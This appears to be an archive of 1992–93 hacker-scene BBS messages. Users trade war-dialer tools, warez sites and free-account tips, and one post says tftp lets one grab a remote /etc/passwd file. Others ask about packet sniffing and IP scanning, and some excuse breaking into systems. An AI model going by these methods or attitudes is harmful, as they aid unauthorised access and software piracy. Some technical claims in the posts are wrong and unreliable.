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From iceman@yabbs Sun Nov 29 19:57:21 1992
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From: iceman@yabbs
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To: all@yabbs
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Subject: Hahah
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Date: Sun Nov 29 19:57:21 1992
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Like I mentioned in a previous message, the people in our isolated area
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(Manitoba,Canada) are easily impressed with hacking. My friend got caught
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hacking a stupid BBS and made the FRONT PAGE of our newspaper. I sent the
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article to CUD (I don't know why), I can also send it here if anyone
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cares... It's really quite funny. This happened about a week ago, and he
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had his computer and other equipment confiscated. I never thought
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something like this would come out of hacking a BBS... but I guess they
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got sick of it after he'd done it 4 times..
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Later
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ICEMAN
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From blitz@yabbs Mon Nov 30 08:29:58 1992
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From: blitz@yabbs
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To: all@yabbs
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Subject: Local Hacking Boards
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Date: Mon Nov 30 08:29:58 1992
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Do any of you know any local h/p/w boards? (In Pittsburgh)
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If you do, would you send the #&nup to me. BTW- If any of you
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Pittsburghers have been on the Bassalope BBS since its crash a few months
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ago, I'd like to relogin.
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Thanx!
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Blitz
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From slim@yabbs Sun Jan 17 14:55:48 1993
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From: slim@yabbs
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To: buddha@yabbs
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Subject: re: tftp
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Date: Sun Jan 17 14:55:48 1993
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Because of it's limited restrictions, and the open access to the
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etc/passwd file (unlike ftp where the dir etc not the real one), it is
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easy and possible to snag the passwd file from the remote system.
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From omc@yabbs Sun Jan 17 22:48:59 1993
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From: omc@yabbs
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To: hbeast@yabbs
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Subject: re: tftp
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Date: Sun Jan 17 22:48:59 1993
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i snarfed one like that one time that said
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Try to steal out etc/passwd file eh?
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ÿ
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From iceman@yabbs Thu Feb 4 10:54:39 1993
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From: iceman@yabbs
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To: htoaster@yabbs
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Subject: new scan
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Date: Thu Feb 4 10:54:39 1993
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Is it me, or is the newscan fucked? Just seems odd that i've been
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re-reading the same messages for the past while.
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ICEMAN
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TDR
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From pez@yabbs Thu Feb 4 11:51:07 1993
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From: pez@yabbs
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To: all@yabbs
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Subject: re: scanners
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Date: Thu Feb 4 11:51:07 1993
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So, anyone know where to get the latest version of code thief,
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or any other decent exchange scanner?
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From lostsoul@yabbs Mon Feb 8 15:07:55 1993
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From: lostsoul@yabbs
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To: ti_dude@yabbs
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Subject: re: INC ftp site ?
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Date: Mon Feb 8 15:07:55 1993
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I doubt it. Seeing as INC is dead.. heh. I heardthose rumors as well but
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no one has posted any address's so I would say it's bullshit.
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From invalid@yabbs Tue Feb 9 15:03:35 1993
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From: invalid@yabbs
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To: houdini@yabbs
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Subject: re: H & P in 704
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Date: Tue Feb 9 15:03:35 1993
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toneloc constantly updated my ass.. Mucho and Minor have been in jail for
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a while and Minor just got out before HoHocon... don't expect any updates
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soon.
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>> Invalid Media
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>> ccdhb@acvax.inre.asu.edu
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From johndeer@yabbs Sun Feb 21 23:57:30 1993
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From: johndeer@yabbs
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To: ziplock@yabbs
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Subject: re: INC ftp site ?
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Date: Sun Feb 21 23:57:30 1993
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what are some of these warez ftp sites? i wanna get some new stuff like
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wordperfect 5.2 and junk like that, but 2400 is a pain on the bbses...
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john Deere
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From invalid@yabbs Mon Feb 22 01:07:00 1993
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From: invalid@yabbs
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To: houdini@yabbs
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Subject: re: Toneloc beta 10
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Date: Mon Feb 22 01:07:00 1993
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Yeah I'll eat my words.. I recently got intouch with Mucho and Minor and
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they are back on my system again :) o they uploaded me the new version of
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TL.. its really a good one too
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>> Invalid Media
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>> ccdhb@acvax.inre.asu.edu
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From bagger@yabbs Thu Feb 25 14:34:21 1993
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From: bagger@yabbs
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To: blitz@yabbs
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Subject: re: 2600, bookstores
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Date: Thu Feb 25 14:34:21 1993
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What is this "Ice Nine" you mentioned? Is it a bookstore in Pittsburgh?
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Where is it located exactly, (what part of Pittsburgh) ?
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-Thanx - bagger
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From ldistort@yabbs Sun Feb 28 20:27:42 1993
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From: ldistort@yabbs
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To: all@yabbs
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Subject: toneloc
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Date: Sun Feb 28 20:27:42 1993
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Can anyone FTP a newe version of toneloc (something above .97b) to any
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anonymous ftp site?
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Logical Distortion [416]
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From vitroth@yabbs Mon Mar 1 15:57:14 1993
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From: vitroth@yabbs
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To: all@yabbs
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Subject: Free internet accounts??
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Date: Mon Mar 1 15:57:14 1993
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RE the post a while back about free accounts on the net.. if you don't want to
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go through gnu.ai.mit.edu or whatever try me... sanctuary.pc.cc.cmu.edu login
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as guest and send me mail (vitroth) give me real name and desired user name (8
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chars or less of course... I can't enforce real name but at least make it
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reasonable... I'll try to get most accounts set up within 24 hours...
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don't forget to give me an initial password too... at this point accounts
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will be given out with no restrictions... IF I get too many requests I may
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discontinue that. NOTE: I do not have a modem hooked up.. so no dial in/out
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-Vit
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From spectre@yabbs Thu Mar 11 11:51:36 1993
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From: spectre@yabbs
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To: buddha@yabbs
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Subject: re: 2600 in pgh
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Date: Thu Mar 11 11:51:36 1993
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In message re: 2600 in pgh, buddha said:
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> Someone asked about getting BBS softs from the net? I found a pretty good
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> place, shit, can't remember. It was maybe oak.oakland.edu? Or something in
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> oakland, anyhow. Look around, they had ALOT.
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oak.oakland.edu is a simtel20 mirror - pretty much 'the' definitive
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shareware/freeware/pd msdos site. there are others, but none with the
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amount and variety. there's also wuarchive.wustl.edu - they mirror alot of
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the sites (simtel, garbo, cica, ulowell & others).
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ÿ
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From jasonlee@yabbs Fri Mar 12 11:02:33 1993
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From: jasonlee@yabbs
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To: johndeer@yabbs
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Subject: re: 2600 in DC
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Date: Fri Mar 12 11:02:33 1993
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I wasn't really talking to him much, cuz I still don't know that many
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people (and I'm sorta shy :). It was pretty fun, though. I was also
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talking to ntstriker and monk, I guess.
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I don't really need any numbers, because I can't really call LD to DC.
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Thanks anyway...
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JasonLee
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From christj@yabbs Sat Apr 10 22:11:58 1993
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From: christj@yabbs
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To: ziplock@yabbs
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Subject: re: 703 dialout
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Date: Sat Apr 10 22:11:58 1993
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In message re: 703 dialout, ziplock said:
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> Or of course you could go get 386BSD and go buy some 4.3BSD manuals from
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> your local computer store....ÿ
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Yepo... Or just d/l Linux. Heard that it isn't too aweful hard to instzll,
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but that it does take up a hell of a lotr of resources.
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ÿ
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From mintent@yabbs Sat Apr 10 22:55:36 1993
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From: mintent@yabbs
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To: all@yabbs
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Subject: Propaganda
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Date: Sat Apr 10 22:55:36 1993
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Hey, everyone call Propaganda at (612) 379-1517
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612's underground headquarters / NO NUP
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- Malicious Intent
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phred@tfsquad.mn.org
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From hbeast@yabbs Sun Apr 11 03:36:25 1993
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From: hbeast@yabbs
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To: comrade@yabbs
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Subject: re: 703 dialout
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Date: Sun Apr 11 03:36:25 1993
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In message re: 703 dialout, comrade said:
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> I am looking for a bbs software that runs on a dos platform (i.e. has an
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> .exe) file, but ooks like the unix os. I want this because I am not
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> wasting my 486 on running unIx, but if I run unix as a bbs, the clueless
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> fucks will stay away. Unix is very intimidating. unIx --> Fucked up
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> caps from warez relapse. Anyways, please help me out. thanks
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If anyone doesn't like Unix the internet police will get him ;).
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Just so. try the Waffle DOS version (you don't have to pay to get it!).
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It's not exactly Unix, but it's better than nothing. And you can also look
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at MindVox and drool a little on what you can do with the Waffle source..
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hbeasT
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From deprogra@yabbs Sun Apr 11 03:47:13 1993
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From: deprogra@yabbs
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To: guinar@yabbs
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Subject: re: 703 dialout
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Date: Sun Apr 11 03:47:13 1993
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That's what I do. Use prodigy or something else reliable like Sprintnet.
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These numbers are never busy, work on many speeds, and ways of getting
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them are too numerous to mention here.
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It looks like we might have an 804 dialout ...
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From pegasus@yabbs Sun Apr 11 07:42:44 1993
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From: pegasus@yabbs
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To: fatdog@yabbs
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Subject: re: Text Based Hack BBS's in OZ
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Date: Sun Apr 11 07:42:44 1993
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I'm interested in all the information you ask for, especially the lateste
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40-hex mag, other viral info and perhaps some warez sites. Please send me
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any info directly to my e-mail address which is : runefr@ifi.uio.no I
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believe that the message might be killed if you post it here.
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-pegasus
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From pegasus@yabbs Sun Apr 11 07:49:06 1993
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From: pegasus@yabbs
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To: all@yabbs
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Subject: re: 703 dialout
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Date: Sun Apr 11 07:49:06 1993
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> Yepo... Or just d/l Linux. Heard that it isn't too aweful hard to
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instzll,
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> but that it does take up a hell of a lotr of resources.
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Sure, it takes some resources, but you can get it working with a 386sx,
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2MB ram, and 4MB disk space, the amount of utils is up to you. And after
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all, you wan't need that blasted DOS thing anymore.
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From pegasus@yabbs Sun Apr 11 07:56:46 1993
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From: pegasus@yabbs
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To: all@yabbs
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Subject: PC-speaker music
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Date: Sun Apr 11 07:56:46 1993
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Hi, all.
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I'm looking for information on how to play a sample , or preferably MOD
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files and such through the PC-speaker. There are some library routines
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around that does the job for you, but I would prefer to know the tecnique
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involved. Seems like I have to reprogram the timer-chip of the PC, but
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unfortunately I have no on-line info on this. Any hints or source-code
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would be appreciated.
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-pegasus
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From htoaster@yabbs Sun Apr 11 10:20:49 1993
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From: htoaster@yabbs
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To: pegasus@yabbs
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Subject: re: 703 dialout
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Date: Sun Apr 11 10:20:49 1993
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4mb of disk space won't get you must in linux or bsd. With both that
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will give you a kernel and a few file system utils.
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Linux is a little smaller (not as much as is advertised by everyone
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though), but I would tend to reccomend 386bsd to newbies because there
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are so many books on bsd (and 386bsd is pretty much straight bsd4.3 with
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some posix thrown in). It also tends to be easier to keep up with, just
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install a new patch kit when one comes out. You don't have to deal with
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a new kernel every 5 days or whatever.
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The best idea is to always install both, play around, and decide which
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one you like best.
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htoaster
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From mintent@yabbs Sun Apr 11 23:12:16 1993
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From: mintent@yabbs
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To: all@yabbs
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Subject: Wanted
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Date: Sun Apr 11 23:12:16 1993
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** NOTEBOOK WANTED **
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Cheap 286/386 - Nothing fancy
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would like it to have : battery power, 3.5" 1.44 drive, 1MB
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RAM, at least a 20MB Hard Disk, Serial and parallel ports, but
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these specs. aren't set in stone. Please leave mail to :
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Malicious Intent
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phred@tfsquad.mn.org
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From hankster@yabbs Mon Apr 12 01:29:07 1993
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From: hankster@yabbs
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To: deprogra@yabbs
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Subject: re: 703 dialout
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Date: Mon Apr 12 01:29:07 1993
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What do you mean.. "That's what I do."?..You mean calling up oh another
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system and using their dialouts? Such as Telenet? I've had a few
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dialouts on Telenet..one in Canada one in Germany, but do you mean calling
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up on these networks and accessing internet - then using the internet
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dialouts r what? NEways if you guys would like a BBS list for some of the
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804 area let me know and I'll post some..
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Later
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Hankster
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From comrade@yabbs Mon Apr 12 16:17:31 1993
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From: comrade@yabbs
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To: htoaster@yabbs
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Subject: re: 703 dialout
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Date: Mon Apr 12 16:17:31 1993
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waffle blows to high hell. Yeh, I have a copy of coherent, and its
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teledisked and for the likes of me, I cannot unteledisk it! Will check
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it. thanks again
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From wincroft@yabbs Tue Apr 13 22:44:07 1993
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From: wincroft@yabbs
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To: pegasus@yabbs
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Subject: re: PC-speaker music
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Date: Tue Apr 13 22:44:07 1993
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If you are looking for a program to play MOD files through
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the pc speaker the program you are looking for is Mod-edit
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version 3.X . i belive the author may be able to direct
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you to where he found his code to translate to the pc speaker.
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From greywolf@yabbs Tue Apr 13 23:15:06 1993
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From: greywolf@yabbs
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To: all@yabbs
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Subject: hack sites
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Date: Tue Apr 13 23:15:06 1993
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Being a new hacker (on internet anyways :) ) I was wondering if there were
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any paricular places I should check out (other then well and phantom of
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course)..And I heard mention of cracking groups having there own ftp sites
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on telnet? Interesting..anyone got an address or two they could post, I'd
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like to see how they're set up....oh yes, are there any systems that
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happen to be offering free e-mail addresses (and preferably internet
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access as well for ftp and telnet)..I have all that now, but it's under
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my real name, and I'd like to have one for my 'alter-ego' so to speak.
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Well, ta ta, and hack on mates!
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Lemmon Curry ?
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From pegasus@yabbs Wed Apr 14 05:20:41 1993
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From: pegasus@yabbs
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To: all@yabbs
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Subject: Streamers
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Date: Wed Apr 14 05:20:41 1993
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Just found the source code for a program that plays the famous mushroom
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through the speaker, but now another more important request.
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I've got a Summit 250 MB tape streamer that I'd like to talk to, but I
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can't find any info on how to do it. Formats such as the QIC-80 and
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similar specs would also be of ultimate interest. If your answer is to
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big, please respond directly to (runefr@ifi.uio.no)
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From johndeer@yabbs Wed Apr 14 09:39:35 1993
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From: johndeer@yabbs
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To: htoaster@yabbs
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Subject: bbs
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Date: Wed Apr 14 09:39:35 1993
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So is there a way I could compile, for instance, Yabbs to run in DOS? My
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workstation here is Dos, but it does have a direct internet connection, so
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I could conceivable run a telnet BBS of it.. but obviously most PC modem
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BBS software doesn't deal with any ports...
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john Deere
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From htoaster@yabbs Wed Apr 14 10:30:26 1993
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From: htoaster@yabbs
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To: johndeer@yabbs
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Subject: re: bbs
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Date: Wed Apr 14 10:30:26 1993
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In message bbs, johndeer said:
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> So is there a way I could compile, for instance, Yabbs to run in DOS? My
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> workstation here is Dos, but it does have a direct internet connection, so
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> I could conceivable run a telnet BBS of it.. but obviously most PC modem
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> BBS software doesn't deal with any ports...
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Not really. Yabbs doesn't do any of the network stuff on its own (it
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lets telnetd do that). What sort of cpu do you have? One suggestion
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would be to put on a real small linux setup (like 15 megs), and run yabbs
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on that, and when you want to do dos stuff just leave the bbs down.
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htoaster
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From cse@yabbs Wed Apr 14 13:51:35 1993
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From: cse@yabbs
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To: greywolf@yabbs
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Subject: re: hack sites
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Date: Wed Apr 14 13:51:35 1993
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A good place to get an email account with your alias, is santafe.edu
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its....
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bbs.santafe.edu <- its free and they have usenet and telnet
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, just apply and get in...
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PS> please let me know if you find any hack sites.. I too am a new hacker
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on I net and would really like some...
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Thanks in advance...
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Chainsaw Enema
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cse@santafe.edu
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From reaper@yabbs Wed Apr 14 16:02:59 1993
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From: reaper@yabbs
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To: all@yabbs
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Subject: .au files to MOD files
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Date: Wed Apr 14 16:02:59 1993
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I'd like to know if there's a utility to convert .au files (sun audio
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format) to .mod? I'd appreciate it. Thanks in advance . . .
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>> The Reaper <<
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dsembr01@starbase.spd.louisville.edu
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From mephisto@yabbs Thu Apr 15 10:57:52 1993
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From: mephisto@yabbs
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To: reaper@yabbs
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Subject: re: .au files to MOD files
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Date: Thu Apr 15 10:57:52 1993
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No, you can't convert .au files to .MOD, because they're completely
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different types of files. You CAN convert .au to .VOC files though.
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AU, VOC, SND, etc files are digitized sound. Physical samples., while MOD
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files are sampled instruments played in different octaves, keys, etc.
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For the AU2VOC converter, look in 129.49.21.110 under /pub/tmbg/samples
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Mephistopheles
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From johndeer@yabbs Thu Apr 15 15:06:55 1993
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From: johndeer@yabbs
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To: htoaster@yabbs
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Subject: re: .au files to MOD files
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Date: Thu Apr 15 15:06:55 1993
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I run a 486/33.. but I dont' want to run unix on it, cause I'll be using
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DOS and windows all day.. if there was a way I could get it to run it in
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windows or something.. actually I'll see if I can get a server to do it..
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then it'll be a 486dx50 w/ 32megs and lots HD space...
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john Deere
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From hiro@yabbs Fri Apr 16 00:53:22 1993
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From: hiro@yabbs
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To: mintent@yabbs
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Subject: re: Propaganda
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Date: Fri Apr 16 00:53:22 1993
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Hahaha funny to see you here...
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From greywolf@yabbs Fri Apr 16 00:57:24 1993
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From: greywolf@yabbs
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To: cse@yabbs
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Subject: re: hack sites
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Date: Fri Apr 16 00:57:24 1993
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I certainly will keep you informed with anything I find out..hopefully
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together we could beet the system and actually give ourselves some
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recognition in the internet world...I'm a hacker in the 'real' world but I
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am stillnew to internet...in any case, you should try to get on IRC and
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join the hack confrence...if your not allready on, try the IRC gainable
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from muselab-gw.runet.edu. They'll let you on after the sysop look you up
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(just presses a key to validate you actually). if you've got another
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gateway to IRC could you post it..thanks!
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From hiro@yabbs Fri Apr 16 01:02:53 1993
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From: hiro@yabbs
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To: all@yabbs
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Subject: Packet Snooping
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Date: Fri Apr 16 01:02:53 1993
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I am interested in packet-snooping on a Sparcstation network. What
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software is required for this, and where might I FTP it from? I also
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wonder how I would "piggyback" onto an ethernet with a laptop Mac.
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Thanks.
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Hiro612
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From mintent@yabbs Fri Apr 16 01:47:10 1993
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From: mintent@yabbs
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To: hiro@yabbs
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Subject: addresses
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Date: Fri Apr 16 01:47:10 1993
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Does anyoneknow of any places that one is able to get a free UNIX account?
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I have tried the nyx.cs.du.edu place.. while being pretty generous, they
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ask for all kinds of ID and shit.. he's also paranoid about hackers.
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Where does one have to go these days?
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From mintent@yabbs Fri Apr 16 01:59:32 1993
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From: mintent@yabbs
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To: cse@yabbs
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Subject: bbs.santafe.edu
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Date: Fri Apr 16 01:59:32 1993
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what's up with the bbs.santafe.edu ?? They say that you have to be
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affiliated with the institute or some bullshit like that.. what did you
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tell them
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?
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From cse@yabbs Fri Apr 16 13:00:42 1993
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From: cse@yabbs
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To: greywolf@yabbs
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Subject: re: hack sites
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Date: Fri Apr 16 13:00:42 1993
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Ok.. I'll try that site.. I hav had no luck with any other sites..
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If i hear anything, I'll post...
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Storm the reality studio..
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Take back the universe....
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cse
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From cse@yabbs Fri Apr 16 13:02:06 1993
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From: cse@yabbs
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To: mintent@yabbs
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Subject: re: addresses
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Date: Fri Apr 16 13:02:06 1993
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try my favorite watering hole... bbs.santafe.edu
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no charge.. telnet.. mail account..usenet feed.. and much more..
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cse
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cse@santafe.edu
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From cse@yabbs Fri Apr 16 13:03:25 1993
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From: cse@yabbs
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To: mintent@yabbs
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Subject: re: bbs.santafe.edu
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Date: Fri Apr 16 13:03:25 1993
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please disregard the last message...
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just one piece of advice... BULLSHIT>..
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I am not affiliated with it, nor are most of the other people ther... I
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will look in to it and let you know...
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Chainsaw Enema (CSE)
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From cse@yabbs Fri Apr 16 13:09:33 1993
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From: cse@yabbs
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To: mintent@yabbs
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Subject: re: bbs.santafe.edu
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Date: Fri Apr 16 13:09:33 1993
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did you login as :bbs ? that takes you to a bbs menu.. fill out the
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account part and then logoff, adn then back on (I believe )
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sorry if I left that out
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Chainsaw Enema
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From beaker@yabbs Fri Apr 16 17:19:57 1993
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From: beaker@yabbs
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To: all@yabbs
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Subject: ...
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Date: Fri Apr 16 17:19:57 1993
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what really sucks [i think] is that bradenville went down.. heh. for us ppl
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that do not have irc acs it was a god. oh well, anyone know of other public
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irc/unix sites? i have tried some that were posted prior in this base, but
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some are just plain lame.. any one?ÿ
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From jasonlee@yabbs Fri Apr 16 17:50:12 1993
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From: jasonlee@yabbs
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To: reaper@yabbs
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Subject: re: .au files to MOD files
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Date: Fri Apr 16 17:50:12 1993
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Nope, there's no way, really. .MOD files are not sampled digital sound
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(although they use such samples as instruments. The .MOD file is
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basically just code that contains patterns and such. I think sound files
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have to be similar in format to convert
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them.
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JasonLee
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From houdini@yabbs Fri Apr 16 22:00:24 1993
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From: houdini@yabbs
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To: all@yabbs
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Subject: Santafe
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Date: Fri Apr 16 22:00:24 1993
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Santafe should not be used as you are sugesting, it's main perpose is to
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serve people interested in Complex systems. If it is abuse the
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Administrator will take it down.
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From vapor@yabbs Fri Apr 16 22:55:00 1993
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From: vapor@yabbs
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To: uufnord@yabbs
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Subject: re: scanning the net
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Date: Fri Apr 16 22:55:00 1993
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Now how would you go about scanning the net? I dont have a scripting
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Comm proggy (yet.. :( )
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From mintent@yabbs Sat Apr 17 03:22:09 1993
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From: mintent@yabbs
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To: cse@yabbs
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Subject: re: bbs.santafe.edu
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Date: Sat Apr 17 03:22:09 1993
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yeah, i figured that one out.. i filled out the forms, etc.. but i still
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cannot logon.. i call back and the shit won't work from the main prompt.
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oh well, i will try it again today.
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From ducky@yabbs Sat Apr 17 14:12:18 1993
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From: ducky@yabbs
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To: all@yabbs
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Subject: free access et al.
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Date: Sat Apr 17 14:12:18 1993
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just to enlighten some people a little perhaps about why free access via
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bbses and such to irc & other fun stuff it becoming harder and harder to
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get. . .
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basically, it's because stupid people are hacking these systems! this is
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true for nyx & for several other sites!
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as more and more members of the public (and thus the bbs hacking
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community) are getting access to the internet, they are fucking things up
|
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for the rest of us. . .
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the internet is a whole different world from bbses. . .it may be cool on
|
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bbses to try to hack stupid systems, because if the sysop figures out that
|
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people are hacking his system, he'll just fix it. . .no big loss since the
|
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system was prolly not worth using at all anyway. . .
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but hacking sites which give out free accounts on the internet? come on
|
|
folks, it doesn't take half a brain to realize that THIS IS A USEFUL
|
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SERVICE! hacking these systems, or using them to hack other places is
|
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just gonna result in tighter access. . .
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KD
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From weezal@yabbs Sun Apr 18 00:34:23 1993
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From: weezal@yabbs
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To: reaper@yabbs
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Subject: re: .au files to MOD files
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Date: Sun Apr 18 00:34:23 1993
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No, there is not.
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From jasonlee@yabbs Sun Apr 18 12:18:16 1993
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From: jasonlee@yabbs
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To: all@yabbs
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Subject: hacking?
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|
Date: Sun Apr 18 12:18:16 1993
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Hmmm...I've been thinking about this, and there's really no way I would
|
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consider myself a hacker. I'd rather be more of an internaut, exploring
|
|
all the neat little nooks and crannies of this strange place. If I have
|
|
to break into a couple systems to continue exploring, then so be it. I
|
|
just want to snoop around and discover what is to be found.
|
|
Does anyone have any idea how long it would take to scan every i-net
|
|
address? Assume that you have 100Mbps bandwidth, and there's
|
|
xxx.xxx.xxx.xxx adresses. That's about 1 trillion addresses...we really
|
|
know that there probably aren't any 999.xxx.xxx.xxx places, but it is
|
|
possible that someone (maybe someone big) could have hidden their site out
|
|
in that wasteland (like the telcos do with 555-99xx). Anyone want to scan
|
|
that area?
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|
JasonLee
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From skippy@yabbs Sun Apr 18 15:43:15 1993
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From: skippy@yabbs
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To: jasonlee@yabbs
|
|
Subject: re: hacking?
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|
Date: Sun Apr 18 15:43:15 1993
|
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|
In message hacking?, jasonlee said:
|
|
> Does anyone have any idea how long it would take to scan every i-net
|
|
> address? Assume that you have 100Mbps bandwidth, and there's
|
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> xxx.xxx.xxx.xxx adresses. That's about 1 trillion addresses...we really
|
|
> know that there probably aren't any 999.xxx.xxx.xxx places, but it is
|
|
> possible that someone (maybe someone big) could have hidden their site out
|
|
> in that wasteland (like the telcos do with 555-99xx). Anyone want to scan
|
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well, there isnt xxx.xxx.xxx.xxx address out there... the current IP
|
|
addressing scheme is only 32 bits.. 256.256.256.256 so if you notice, you
|
|
wont find an address 276.234.500.4 wont happen....
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and i agree with you on the internaut bit.... i just wanna go and look
|
|
around at everything on the internet.... i'm not much for breaking into
|
|
sites so i guess i'm nowhere near hacker status... speaking of hackers,
|
|
have any of you taken the Hackers Test... its not really about hacking as
|
|
we know it, just about obscure knowledge of computerdom... if anyone wants
|
|
it, leave me yer e-mail address, i'll mail it too ya...
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--skip
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ÿ
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From mohawk@yabbs Sun Apr 18 17:33:26 1993
|
|
From: mohawk@yabbs
|
|
To: skippy@yabbs
|
|
Subject: re: hacking?
|
|
Date: Sun Apr 18 17:33:26 1993
|
|
|
|
Skippy, I'd be interested in looking at the hacker's test, please email me
|
|
a copy at mohawk@santafe.edu thanx.
|
|
mohawk
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From arken@yabbs Sun Apr 18 21:57:50 1993
|
|
From: arken@yabbs
|
|
To: all@yabbs
|
|
Subject: Blah
|
|
Date: Sun Apr 18 21:57:50 1993
|
|
|
|
Has anyone out there seen or heard of a program called Mr. Kraker?
|
|
|
|
From pyro@yabbs Mon Apr 19 01:00:27 1993
|
|
From: pyro@yabbs
|
|
To: all@yabbs
|
|
Subject: HP Network...
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|
Date: Mon Apr 19 01:00:27 1993
|
|
|
|
I am interested in starting/joining a national net for HP orientated
|
|
boards and similar discussions (legalities, ethics, netowkring, etc...).
|
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|
|
If anyone has any interest in starting one, or any info on existing ones
|
|
please send me mail eithere here or:
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pyro@mindvox.phantom.com
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|
-Pyro/Propaganda
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From johndeer@yabbs Mon Apr 19 12:02:15 1993
|
|
From: johndeer@yabbs
|
|
To: hiro@yabbs
|
|
Subject: re: HP Network...
|
|
Date: Mon Apr 19 12:02:15 1993
|
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|
|
as for ethernet on a mac laptop (i'll assume you're talking about a
|
|
powerbook then). You can get a twisted-pair ethernet card for the MAc,
|
|
and you can also get a 10base2 ethernet card for the mac. It's not that
|
|
hard, the only problem you'll have is a lack of internal expansion slots
|
|
on powerbooks. I assume it is also available externally, but i'm really
|
|
not sure. I guess you could plug it into the modem port. If you've gort
|
|
got a bunch of macs, get a Farallon card for Pc-Localtalk, and make your
|
|
pc-server also a node on an appletalk network. If you have multiple
|
|
appletalk nodes, this is best, because an appletalk network is much
|
|
cheaper than an ethernet network (appletalk uses standard, radio-shack
|
|
grade modular phone wire). speed will suffer, but it's all a cost-use
|
|
analysis.
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|
john Deere
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From cse@yabbs Mon Apr 19 14:24:56 1993
|
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From: cse@yabbs
|
|
To: skippy@yabbs
|
|
Subject: re: hacking?
|
|
Date: Mon Apr 19 14:24:56 1993
|
|
|
|
I'll bit.. I am curious about the hacking test.. Im an old school non
|
|
destructive type.. and a history buff...
|
|
email it to blankenm@seq.oit.osshe.edu
|
|
thanx, cse
|
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From cse@yabbs Mon Apr 19 14:26:35 1993
|
|
From: cse@yabbs
|
|
To: pyro@yabbs
|
|
Subject: re: HP Network...
|
|
Date: Mon Apr 19 14:26:35 1993
|
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|
|
say pyro.. I would be interested too...please poost it here or mail more
|
|
info to
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cse@santafe.edu
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|
thannx, cse
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From beaker@yabbs Mon Apr 19 16:12:34 1993
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From: beaker@yabbs
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|
To: all@yabbs
|
|
Subject: ...
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|
Date: Mon Apr 19 16:12:34 1993
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hey pyro, or UO. :) anyway, it would seem that a lot of ppl from
|
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propaganda have made it onto here. like myself, malicious intent, and i
|
|
think that hiro[shima] is around here somewhere too. heh.
|
|
ÿ
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From christj@yabbs Mon Apr 19 18:17:27 1993
|
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From: christj@yabbs
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To: skippy@yabbs
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|
Subject: hack test
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|
Date: Mon Apr 19 18:17:27 1993
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|
heyo... mail me the hack test
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cjhescho@sacam.oren.ortn.edu
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Thanks...
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ÿ
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From binkley@yabbs Mon Apr 19 19:19:16 1993
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From: binkley@yabbs
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|
To: pez@yabbs
|
|
Subject: re: scanners
|
|
Date: Mon Apr 19 19:19:16 1993
|
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|
I've got CodeThief 5.1 You can get it from 2o7-562-9226
|
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From lordcybr@yabbs Mon Apr 19 20:21:34 1993
|
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From: lordcybr@yabbs
|
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To: pez@yabbs
|
|
Subject: re: scanners
|
|
Date: Mon Apr 19 20:21:34 1993
|
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|
Code thif can be obtained at a BBs call Rune Stone the # is 203)
|
|
832-8441 it may take a couple of days to get access but it has a great
|
|
selection.
|
|
Artimage.-
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From greywolf@yabbs Mon Apr 19 20:21:50 1993
|
|
From: greywolf@yabbs
|
|
To: pyro@yabbs
|
|
Subject: re: HP Network...
|
|
Date: Mon Apr 19 20:21:50 1993
|
|
|
|
I'm always interetested in aiding hacking and phreaking. How can I be of
|
|
service?
|
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From lordcybr@yabbs Mon Apr 19 20:23:25 1993
|
|
From: lordcybr@yabbs
|
|
To: ti_dude@yabbs
|
|
Subject: re: INC ftp site ?
|
|
Date: Mon Apr 19 20:23:25 1993
|
|
|
|
One question, what does INC stand for, and could you give me the FTP
|
|
site #? Thanks,
|
|
Artimage.-
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From lordcybr@yabbs Mon Apr 19 20:25:50 1993
|
|
From: lordcybr@yabbs
|
|
To: all@yabbs
|
|
Subject: re: AlchemyNet
|
|
Date: Mon Apr 19 20:25:50 1993
|
|
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|
I would love to get on your net, but my bbs is not up yet, maybe in a
|
|
week. If ya could give me some info I would be very grateful. Thanks,
|
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Artimage.-
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From htoaster@yabbs Mon Apr 19 21:24:06 1993
|
|
From: htoaster@yabbs
|
|
To: all@yabbs
|
|
Subject: hackers test
|
|
Date: Mon Apr 19 21:24:06 1993
|
|
|
|
If you ftp the hacker test to my machine in the /incoming directory I
|
|
will put it only in the gfiles area online and make it available for ftp
|
|
(as everything in the gfiles area is). This goes for anything that you
|
|
find of interest (as long as I have the disk space). Hopefully next
|
|
semester I will have another 200 megs online, and about 50 of that will
|
|
probably be dedicated to the ftp site (I am planning on mirroring more of
|
|
ftp.eff.org, and hopefully I'll get a bit of that indexed under the
|
|
gfiles server).
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|
htoaster
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|
ÿ
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From skippy@yabbs Mon Apr 19 21:40:58 1993
|
|
From: skippy@yabbs
|
|
To: all@yabbs
|
|
Subject: re: hackers test
|
|
Date: Mon Apr 19 21:40:58 1993
|
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ok..... i uploaded the hackers test to phred....
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|
look for it soon....
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--skip
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ÿ
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From tau@yabbs Mon Apr 19 23:55:33 1993
|
|
From: tau@yabbs
|
|
To: skippy@yabbs
|
|
Subject: re: hacking?
|
|
Date: Mon Apr 19 23:55:33 1993
|
|
|
|
Hi
|
|
Any test doc's sound interesting, so if you would Email me
|
|
i'll be glad...
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tau@daimi.aau.dk
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|
\tau *smile*
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From fatdog@yabbs Tue Apr 20 00:11:15 1993
|
|
From: fatdog@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: scanners
|
|
Date: Tue Apr 20 00:11:15 1993
|
|
|
|
Binks,
|
|
Any chance of grabbin codethief 5.1???
|
|
I've got 2.1 but it's too old.
|
|
CaN ACCEPT UUENCODED email.
|
|
|
|
FatDog.
|
|
s932544@minyos.xx.rmit.oz.au
|
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From skippy@yabbs Tue Apr 20 03:48:26 1993
|
|
From: skippy@yabbs
|
|
To: all@yabbs
|
|
Subject: hacker test
|
|
Date: Tue Apr 20 03:48:26 1993
|
|
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o.k.. now that i have sent the test to phred, i am not gonna send it out
|
|
anymore unless you have no ftp access..... please send me mail here...
|
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|
thanx...
|
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--skip
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ÿ
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From pyro@yabbs Tue Apr 20 06:20:17 1993
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From: pyro@yabbs
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To: greywolf@yabbs
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Subject: re: HP Network...
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Date: Tue Apr 20 06:20:17 1993
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I am thinking of either trying to start a new one, or get hooked up with
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an existing one. If you have any info on existing onesI would be very
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grateful.
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As for starting one, I am all for that as well. Do you run a BBS? If so
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send me some mail and we will get some details worked out. I have a few
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ideas, but I am by no means going to be the 'ruler' of such a thing,
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everyone who wants to help out has a say in my book.
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You can reach me here or send mail to:
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pyro@mindvox.phantom.com
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-Pyro
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From htoaster@yabbs Tue Apr 20 10:05:57 1993
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From: htoaster@yabbs
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To: skippy@yabbs
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Subject: re: hackers test
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Date: Tue Apr 20 10:05:57 1993
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In message re: hackers test, skippy said:
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> ok..... i uploaded the hackers test to phred....
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>
